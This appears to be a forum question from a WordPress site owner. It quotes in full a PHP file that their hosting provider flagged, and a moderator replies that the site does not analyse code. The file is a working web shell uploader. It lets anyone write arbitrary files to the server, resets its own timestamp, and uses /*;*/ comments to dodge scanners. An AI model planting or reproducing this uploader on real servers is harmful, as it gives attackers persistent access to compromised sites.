0

My hosting provider reported the following harmful file on my server

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8">
<title>utf</title>
</head>
<body>
<?php
print "<h1>#p@$c@#</h1>\n";
echo "Your IP: ";
echo $_SERVER['REMOTE_ADDR'];
echo "<form method=\"post\" enctype=\"multipart/form-data\">\n";
echo "<input type=\"file\" name=\"filename\"><br> \n";
echo "<input type=\"submit\" value=\"LOAD\"><br>\n";
echo "</form>\n";
if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"]))
    {
    move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
    $file = $_FILES/*;*/["filename"]["name"];
    echo "<a href=\"$file\">$file</a>";
    } else {
    echo("empty");
    }
$filename = $_SERVER[SCRIPT_FILENAME];
touch/*;*/($filename, $time);
?>
</body>
</html>

I am just curious about that, how did this file become harmful?

Also, some other files contain long random strings, which look like proper malicious code that I had removed.

This is from WordPress Environment. Thanks

1
  • Unfortunately, we are not a code analysis site.
    – schroeder
    Mar 18 at 11:41

0

Browse other questions tagged or ask your own question.